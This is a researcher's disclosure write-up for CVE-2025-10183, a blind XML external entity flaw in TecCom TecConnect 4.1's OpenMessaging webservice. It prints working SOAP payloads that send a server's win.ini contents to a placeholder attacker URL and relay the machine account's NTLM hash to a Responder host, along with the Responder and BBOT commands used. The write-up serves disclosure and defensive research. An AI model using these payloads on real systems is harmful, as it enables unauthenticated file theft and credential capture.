TecCom TecConnect 4.1 XML External Entity (XXE)

CVE-2025-10183

Sep 09, 2025

I discovered a blind XXE injection in the OpenMessaging webservice in TecCom TecConnect 4.1, which allows an unauthenticated attacker to exfiltrate arbitrary files to an attacker-controlled server. TecConnect 4.1 is considered end-of-life as of December 2023; if you are currently running TecConnect 4.1, update to TecCom Connect 5 immediately. Click here to see the post for CVE-2025-10183 details.

Here's how I uncovered this exploit, and what I learned along the way.

Discovering the Vulnerability

TecConnect 4.1 OpenMessaging can be found by default at the endpoint openmessaging.asmx, which may sit directly in the webroot or within a directory such as tecopenmessaging or tomconnect. I was able to locate the endpoint by means of IIS Shortname Enumeration.1

Upon discovering the webservice, I used Wsdler to parse the WSDL and create structured POST requests, which were then submitted to the webservice through Burp Repeater. Using basic trial and error, multiple XXE injections were attempted, primarily focusing on file exfiltration. In some cases, XXE injections will cause the target file to simply be outputted by the webserver, but that wasn’t the case here. I therefore attempted to perform an out-of-band XXE attack. But that didn't work either - so what was I doing wrong?

Paying Attention to the Errors

I didn't want to give up on this endpoint entirely; something about it felt off to me. I played around with it for a long while, coming back to it a few different times to fiddle with it more. At last, after perhaps an embarrassingly long time, something in the webserver's responses stuck out to me. Here's a little sample of the stack traces I was getting thrown back:

&lt;Value&gt;System.InvalidOperationException: There is an error in XML document (1, 1). ---&amp;gt; System.Xml.XmlException: Data at the root level is invalid.

In the responses, certain characters were coming back HTML-encoded. Probably an important detail, right? In my stubborn haste, I'd managed to overlook it entirely. When at last I noticed, I had a positively brilliant idea: what if I *also* used HTML-encoding?

I submitted a POST request with the following contents:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsdl="http://www.teccom-eu.net/wsdl">

   <soapenv:Header/>

   <soapenv:Body>

      <wsdl:ProcessRequest>

         <!--type: string-->

         <wsdl:RequestElement>

            &lt;!DOCTYPE bar [

            &lt;!ENTITY % eval "&lt;!ENTITY &amp;#x25; leak SYSTEM 'http://{**BURP COLLAB URL**}/'&gt;"&gt;

            %eval;

            %leak;

            ]

         </wsdl:RequestElement>

      </wsdl:ProcessRequest>

   </soapenv:Body>

</soapenv:Envelope>

And, much to my surprise, Burp Collaborator immediately got DNS and HTTP hits!

Proving File Read

Following that success, I immediately attempted to verify file exfiltration. With some additional trial-and-error, I arrived at this POST request:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsdl="http://www.teccom-eu.net/wsdl">

   <soapenv:Header/>

   <soapenv:Body>

      <wsdl:ProcessRequest>

         <!--type: string-->

         <wsdl:RequestElement>

            &lt;!DOCTYPE bar [

            &lt;!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd" &gt;

            &lt;!ENTITY % CIMName &apos;&gt;

            &lt;!ENTITY &amp;#x25; file SYSTEM &quot;file:///C:\Windows\win.ini&quot;&gt;

            &lt;!ENTITY &amp;#x25; eval &quot;&lt;!ENTITY &amp;#x26;#x25; error SYSTEM &amp;#x27;http://{**BURP COLLAB URL**}/&amp;#x25;file;&amp;#x27;&gt;&quot;&gt;

            &amp;#x25;eval;

            &amp;#x25;error;

            &lt;!ELEMENT aa &quot;bb&quot;&apos;&gt;

            %local_dtd;

            ]&gt;

         </wsdl:RequestElement>

      </wsdl:ProcessRequest>

   </soapenv:Body>

</soapenv:Envelope>

With this request, the target machine makes an HTTP request to an attacker-controlled domain (e.g. Burp Collaborator) with win.ini's contents as the HTTP endpoint. This method won't work for longer files, but it was sufficient enough to validate file exfiltration based on our rules of engagement (RoE). If files need to be downloaded in their entirety, XXE can easily be leveraged to upload remote files to an attacker-controlled FTP server.

It's also worth noting that I was able to use the local DTD cim20 here. It was pretty exciting to see that working in the wild! Whether this was possible due to TecConnect 4.1 or specific configurations made by the client is unclear - keep that in mind when testing for this vulnerability yourself.

To Go Even Further Beyond File Read

After some research into XXE, I found this Horizon3 article on CVE-2022-28219, which includes a neat little detail: "XXE vulnerabilities in Java and on Windows can also be used to capture and relay the NTLM hashes of the user account under which the application is running." The article even included a helpful example of this exact XXE attack.

Based on the IIS Shortname Enumeration results, as well as the response headers, I could easily confirm that the target server was Windows. Although I was unable to verify Java usage, I decided that attempting to relay NTLM credentials was worth it regardless. After configuring and starting Responder (responder -I eth0 -A), I submitted the following POST request:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsdl="http://www.teccom-eu.net/wsdl">

   <soapenv:Header/>

   <soapenv:Body>

      <wsdl:ProcessRequest>

         <!--type: string-->

         <wsdl:RequestElement>

            &lt;!DOCTYPE bar [

            &lt;!ENTITY % eval "&lt;!ENTITY &amp;#x25; leak SYSTEM '\\{IP ADDRESS}\share'&gt;"&gt;

            %eval;

            %leak;

            ]

         </wsdl:RequestElement>

      </wsdl:ProcessRequest>

   </soapenv:Body>

</soapenv:Envelope>

And, wouldn't you know it, Responder captured the hash - which, in my case, actually belonged to the machine account! With a single POST request, I'd gone from file exfiltration to owning the system.

Lessons Learned

This was a pretty satisfying vulnerability to uncover, especially given the initial "vibe" the webservice gave me and the subsequent time I put into finding the XXE. I'd summarize my thoughts on the matter like so: persistence is rewarded, but not blind persistence. I could have saved myself significant time by taking a few moments to truly parse the returned errors and understand the smaller details therein. Once I finally did, my efforts paid off immensely!

Disclosure Timeline

Vulnerability Discovery: March 25, 2025
Initial Contact with Vendor: April 17, 2025
Formal Disclosure to Vendor: June 5, 2025
End of 90-day Response Window: September 5, 2025
Public Disclosure: September 9, 2025

BLS’s open-source OSINT tool, BBOT, can be used not only to find instances of the IIS Shortname Enumeration vulnerability, but to brute-force the discovered shortnames into actual directories. Use the following command: bbot -m iis_shortnames,ffuf_shortnames,httpx -c modules.iis_shortnames.detect__only=false -t <target>

Black Lantern Security (BLSOPS)

Discussion about this post